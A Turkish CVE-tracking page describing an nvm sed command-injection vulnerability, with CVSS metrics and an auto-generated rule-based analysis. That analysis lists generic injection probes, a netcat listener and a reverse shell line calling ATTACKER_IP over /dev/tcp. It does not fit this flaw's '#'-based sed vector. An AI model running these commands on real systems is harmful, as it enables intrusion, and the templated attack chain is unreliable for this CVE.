CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-118905

CWE-78 · CWE-94

YÜKSEK CVSS 7 ⚡ EPSS 0.1% NVD

Node Version Manager (nvm) is a POSIX-compliant shell function for managing multiple node.js versions. In versions 0.31.2 through 0.40.5, `nvm_ls` filters installed versions with a sed program that embeds the requested version pattern in a `\#...#` address, escaping `.` (and, since 0.40.4, `#`) but not backslash. A version string containing `#` (or `\#`) therefore closes the address early, and the rest of it is parsed as sed commands: with GNU sed, the `e` command runs a shell command as the user; with BSD sed, the `w` and `r` commands write and read files. This is reachable whenever an attacker-influenced version string is passed to `nvm use`, `nvm which`, `nvm ls`, `nvm version`, `nvm run`, or `nvm exec`, or to `nvm-exec` via `NODE_VERSION`, and at least one version is installed. nvm's own `.nvmrc` parser strips comments, so a bare `nvm use` is not affected; however, the bash `cdnvm` and zsh `load-nvmrc` auto-switch hooks documented in the README read `.nvmrc` as-is and pass it to `nvm ls` and `nvm version`, so a user with one of those hooks installed runs the attacker's command just by changing into a directory under a malicious `.nvmrc`; scripts that run `nvm use "$(cat .nvmrc)"` are affected the same way. Version 0.40.6 passes any version pattern containing `#` or a newline through the `.nvmrc` content parser first, so no `#` reaches the sed program.

Yayınlanma 29.10.2026
ISO Tarih 2026-10-29
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Olasılık Skoru
0.1%
30 günlük olasılık
Tüm CVElerin 3. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-118905
CVSS 7/10 · YÜKSEK · 29.10.2026
CWE: CWE-78, CWE-94
Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: Node Version Manager (nvm) is a POSIX-compliant shell function for managing multiple node.js versions. In versions 0.31.2 through 0.40.5, nvm_ls filters installed versions with a sed program that embeds the requested version pattern in a \#...# address, escaping . (and, since 0.40.4, #) but not backslash. A version string containing # (or \#) therefore closes the address early, and …

⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444

🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir; hizmet tamamen devre dışı bırakılabilir.

🛡️ ÇÖZÜM VE MİTİGASYON
→ Üretici tarafından yayınlanan yamayı uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.

⚠️ ACİLİYET
⚠️ Planlı bakım (2 hafta) — Yüksek seviye.

────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]

[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]

Hedef Keşif Sorguları
CVSS Skoru
7 / 10 · CVSS YÜKSEK
Zayıflık Türleri (CWE)
CWE-78 CWE-94
İlgili CVE'ler
10.0
CVE-2026-129351
A security vulnerability has been detected in TRENDnet TEW-657BRM 1.00.1. This vulnerability affects the funct
10.0
CVE-2026-78287
Improper Control of Generation of Code ('Code Injection') vulnerability in Staggs STAGGS staggs allows Remote
10.0
CVE-2026-124580
A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. This
10.0
CVE-2026-115252
The Confection WordPress Cable WordPress plugin from 0.4.0 to 0.4.7 does not perform any capability or nonce c
10.0
CVE-2026-121607
A vulnerability was found in Qihoo 360 D603-2, D600-2, D606-6 and D706 up to 6.4.9. This affects the function